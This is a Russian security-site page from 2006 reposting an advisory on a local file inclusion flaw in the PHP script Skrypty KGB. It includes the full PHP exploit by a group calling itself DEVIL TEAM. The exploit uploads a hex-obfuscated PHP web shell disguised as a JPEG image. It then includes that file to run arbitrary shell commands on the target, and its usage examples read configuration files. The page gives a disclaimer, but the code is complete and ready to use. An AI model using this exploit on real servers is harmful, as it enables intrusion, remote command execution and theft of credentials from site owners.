СОДЕРЖАНИЕ:
  ДОМОЙ
  НОВОСТИ  
  IT АКАДЕМИЯ
  WAP-ВЕРСИЯ
  ФОРУМ
  БЕЗОПАСНОСТЬ
  ПРОГРАММИРОВАНИЕ
  ИНСТРУМЕНТ ВЕБМАСТЕРА
  ВСЁ ДЛЯ КПК
  СТАТЬИ NEW
  СОФТ
  ВИДЕО
  X-INFO
  ПРОКСИ ЛИСТ
  IT МУЗЫКА
  АНЕКДОТЫ
  ССЫЛКИ
  ТЕХ. ПОДДЕРЖКА
  ПРАВООБЛАДАТЕЛЯМ
  О НАС
ВАШ IP АДРЕС:
3.17.76.174
Человек на сайте На сайте: 190 человек(а)
Ђдминистрация никак не связан с авторами и содержимым ссылок
Рђеклама




Cервер : irc.comp-info.ru Порт : 6667 Канал : #comp-info


..:: Компьютерная безопасность ::..


Внимание !!! Attention !!!


Вся информация хранящаяся на сайте предоставлена исключительно в образовательных и познавательных целях. Мы рассчитываем на правильное ее использование, т. е. для повышения уровня защищенности компьютерных систем. Уважаемые посетители, мы надеемся на Вашу рассудительность. Администрация Comp-Info.ru снимает с себя ответственность за незаконное применение данных материалов. Мы хотим лишь ликвидировать необразованность администраторского состава, а так же помочь начинающим администраторам.

Инклюдинг локальных файлов в Skrypty KGB

3 октября 2006 | d4rkr00t | Security

Программа: Skrypty KGB 1.8+, возможно другие версии. Опасность: Высокая Наличие эксплоита: Да Описание: Уязвимость позволяет удаленному пользователю получить доступ к важным данным и выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «engine» в сценарии kgcall.php. Удаленный пользователь может просмотреть содержимое произвольных файлов на системе. В комбинации с возможностью загрузки файлов злоумышленник может выполнить произвольный PHP сценарий на целевой системе. Для удачной эксплуатации уязвимости опция «register_globals» должна быть включена в конфигурационном файле PHP. Решение: Способов устранения уязвимости не существует в настоящее время. Эксплоит: ---------------------------------------------------------------------------------------- #!/usr/bin/php -q -d short_open_tag=on : :   : : :     :+:   :+: :+:     :+:   :+:   :+:   :+:     +:+   +:+ +:+     +:+   +:+   +:+   +:+     +#+   +:+ +#++:++#  +#+   +:+   +#+   +#+     +#+   +#+ +#+     +#+  +#+   +#+   +#+     #+#   #+# #+#     #+#+#+#    #+#   #+#     ######### ##########   ###   ########### ########## :   :       :+:   :+:     :+: :+:  +:+:+: :+:+:+   +:+   +:+     +:+  +:+ +:+ +:+:+ +:+   +#+   +#++:++#  +#++:++#++: +#+ +:+ +#+   +#+   +#+     +#+   +#+ +#+    +#+   #+#   #+#     #+#   #+# #+#    #+#   ###   ########## ###   ### ###    ###     +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + —  — - [DEVIL TEAM THE BEST POLISH TEAM] — - + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + — KGB 1.8+ <= 1.8 full (Local Inclusion) Remote Code Execution Exploit + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + — [Script name: KGB 1.8+ 1.8 full — [Script site: http://www.kgb.xs.com.pl/ — [Download script: http://skrypty.webpc.pl/pobierz205.html + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + —     Find by: Kacper (a.k.a Rahim) + —   DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam + —     Contact: kacper1964@yahoo.pl —             or —      http://www.rahim.webd.pl/ + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + — Special Greetz: DragonHeart ;-) — Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus —         SkD, nukedclx, Ramzes - — Greetz for all users DEVIL TEAM IRC Channel !! !@ Przyjazni nie da sie zamienic na marne korzysci @! + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + —       Z Dedykacja dla osoby, —     bez ktorej nie mogl bym zyc… —      K.C:* J.M (a.k.a Magaja) + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"; /* Szybka instrukcja jak exploit dziala :) skrypt KGB 1.8+ jest podatny na local inclusion, poniewaz, znajdujemy w pliku uploadzdj.php dzieki ktoremu mozemy uploadowac jakis obrazek, o wielkosci nie wiekszej niz 90kb, natomiast w pliku kgcall.php znajdziemy kod: … … Czyli po uploadowaniu nowego avatara/obrazka (ktorym jest nasz skrypt) o nazwie devilteam.jpg mozemy uzyc local include: http://www.kgbskrypt/folder_z_kgb/kgcall.php?engine=../zdjecia/devilteam.jpg?cmd=ls -la No i mamy go! :) Pozdrawiam Kacper Jesli masz jakiekolwiek pytania to zapraszam na kanal IRC: 72.20.18.6:6667 #devilteam */ print $devilteam; if ($argc<4) { echo "Usage: php ".$argv[0]." host path cmd optionsrn"; echo "host:   target server (ip/hostname)rn"; echo "path:   path to KGBrn"; echo "cmd:    a shell commandrn"; echo "Options:rn"; echo "  -p[port]:   specify a port other than 80rn"; echo "  -P[ip:port]: specify a proxyrn"; echo "Examples:rn"; echo "php ".$argv[0]." localhost /lists/ cat ./config/config.phprn"; echo "php ".$argv[0]." localhost /lists/ ls -la -p81rn"; echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80rn"; die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) {  if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  {$result.=" .";}  else  {$result.=" «.$string[$i];}  if (strlen(dechex(ord($string[$i])))==2)  {$exa.=» «.dechex(ord($string[$i]));}  else  {$exa.=» 0".dechex(ord($string[$i]));}  $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {   $ock=fsockopen(gethostbyname($host),$port);   if (!$ock) {   echo 'No response from '.$host.':'.$port; die;   } } else {   $c = preg_match($proxy_regex,$proxy);   if (!$c) {   echo 'Not a valid proxy…';die;   }   $parts=explode(':',$proxy);   echo «Connecting to „.$parts[0].“:».$parts[1]." proxy…rn";   $ock=fsockopen($parts[0],$parts[1]);   if (!$ock) {   echo 'No response from proxy…';die;   } } fputs($ock,$packet); if ($proxy=='') {   $html='';   while (!feof($ock)) {   $html.=fgets($ock);   } } else {   $html='';   while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {   $html.=fread($ock,1);   } } fclose($ock); #debug #echo «rn».$html; } function make_seed() {  list($usec, $sec) = explode(' ', microtime());  return (float) $sec + ((float) $usec * 100000); } $host=$argv[1]; $path=$argv[2]; $cmd=""; $port=80; $proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>«-p») and ($temp<>«-P»)) {$cmd.=" «.$argv[$i];} if ($temp==»-p") { $port=str_replace(«-p»,"",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace(«-P»,"",$argv[$i]); } } $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error… check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $shell= chr(0x3c).chr(0x3f).chr(0x70).chr(0x68).chr(0x70). chr(0x20).chr(0x6f).chr(0x62).chr(0x5f).chr(0x63). chr(0x6c).chr(0x65).chr(0x61).chr(0x6e).chr(0x28). chr(0x29).chr(0x3b).chr(0x65).chr(0x63).chr(0x68). chr(0x6f).chr(0x22).chr(0x44).chr(0x45).chr(0x56). chr(0x49).chr(0x4c).chr(0x20).chr(0x54).chr(0x45). chr(0x41).chr(0x4d).chr(0x20).chr(0x68).chr(0x34). chr(0x63).chr(0x6b).chr(0x20).chr(0x79).chr(0x30). chr(0x75).chr(0x22).chr(0x3b).chr(0x69).chr(0x6e). chr(0x69).chr(0x5f).chr(0x73).chr(0x65).chr(0x74). chr(0x28).chr(0x22).chr(0x6d).chr(0x61).chr(0x78). chr(0x5f).chr(0x65).chr(0x78).chr(0x65).chr(0x63). chr(0x75).chr(0x74).chr(0x69).chr(0x6f).chr(0x6e). chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65). chr(0x22).chr(0x2c).chr(0x30).chr(0x29).chr(0x3b). chr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74). chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x24). chr(0x5f).chr(0x47).chr(0x45).chr(0x54).chr(0x5b). chr(0x22).chr(0x63).chr(0x6d).chr(0x64).chr(0x22). chr(0x5d).chr(0x29).chr(0x3b).chr(0x64).chr(0x69). chr(0x65).chr(0x3b).chr(0x3f).chr(0x3e); srand(make_seed()); $evil="devilteam.jpg"; $data='   -----------------------------ZGV2aWx0ZWFt--   Content-Disposition: form-data; name="plik"; filename=".$evil."   Content-Type: image/jpegrnrn";   '.$shell.'   -----------------------------ZGV2aWx0ZWFt--   Content-Disposition: form-data; name="";     Wyslij zdjecie   -----------------------------ZGV2aWx0ZWFt--   ';   $packet ="POST «.$p.»kgcall.php?engine=uploadzdj.php HTTP/1.1rn";   $packet.="User-Agent: Googlebot/2.1rn";   $packet.="Host: «.$host.»rn";   $packet.="Accept: text/plainrn";   $packet.="Referer: http://".$host.$path."kgcall.php?engine=uploadzdj.phprn";   $packet.="Content-Type: multipart/form-data; boundary=-----------------------------ZGV2aWx0ZWFt--rn";   $packet.="Content-Length: «.strlen($data).»rn";   $packet.=$data;   $packet.="Connection: Closern";   show($packet);   sendpacketii($packet);   $packet ="GET «.$p.»kgcall.php?engine=../zdjecia/devilteam.jpg&cmd=".$cmd." HTTP/1.0rn"; $packet.="User-Agent: Googlebot/2.1rn"; $packet.="Host: «.$host.»rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); if (strstr($html,"56789")) { $temp=explode(«56789»,$html); echo $temp[1]; echo «rnExploit work :)rn»; echo «rnDEVIL TEAM IRC: 72.20.18.6:6667 #devilteamrn»; echo «rnWe are The best Polish Hackers :)rn»; die; } ?> -------------------------------------------------------------------------------------

**** ASSCOL ****

По всем вопросам и предложениям пишите на admin@comp-info.ru

/USR/MENU:
 ./HOME
 ./HOME/NEWS  
 ./HOME/IT_ACADEMY
 ./WAP
 ./FORUM
 ./SECURITY
 ./PROGRAMMING
 ./SOFT/4WEBMASTERS
 ./ALL4POCKETS
 ./USR/ARTICLESNEW
 ./TEMP/SOFT
 ./USR/ALL_VIDEO
 ./HOME/X-INFO
 ./TEMP/PROXYLIST
 ./IT_MUSIC
 ./JOKES
 ./HOME/LINKS
 ./USR/SUPPORT
 ./USR/POSSESSOR
 ./ABOUT_US
УТИЛИТЫ:

  Сниффер
  Лог сниффера
  MD5 и Base64
  Декодирование MD5 NEW
 Перекодировщик
  Проверить прокси
  Проверка анонимности
  Генерация пароля
  Скрипт определения IP
  Поиск информации
   Проверить IP (Whois)
   Узнать скорость закачки
   Добавить свой сайт в поисковые системы>
   Подсветка php-кода

ПОЛЕЗНАЯ ИНФОРМАЦИЯ:
  Список национальных доменных имен
  Компьютерные термины
  Смайлики
   Аналоги Win-программ в Linux
   Коды ответа HTTP сервера
   Записки невесты программиста

Опрос




Права на содержащиеся на сайте материалы принадлежат авторам.

Copyright Комп-Инфо.ру © 2005